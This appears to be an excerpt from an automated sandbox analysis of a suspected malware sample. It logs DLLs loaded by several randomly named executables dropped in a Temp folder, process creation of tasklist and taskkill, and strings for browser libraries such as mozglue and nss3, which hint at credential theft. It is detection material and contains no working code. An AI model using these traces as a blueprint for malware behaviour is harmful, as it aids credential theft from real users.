Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019563001\hYW0tgm.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019594001\17ce3a84e4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019595001\412ec13ac5.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019596001\580c9354ec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1019597001\9f6ea82062.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1019598001\51ecf08926.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 3321344 > 1048576

Source: file.exe

Static PE information: Raw size of jxvuvlsp is bigger than: 0x100000 < 0x2bee00

Source:	Binary string: mozglue.pdbP source: 9f6ea82062.exe, 00000020.00000002.4069578254.000000006C0DD000.00000002.00000001.01000000.0000001E.sdmp
Source:	Binary string: nss3.pdb@ source: 9f6ea82062.exe, 00000020.00000002.4077186117.000000006C29F000.00000002.00000001.01000000.0000001D.sdmp
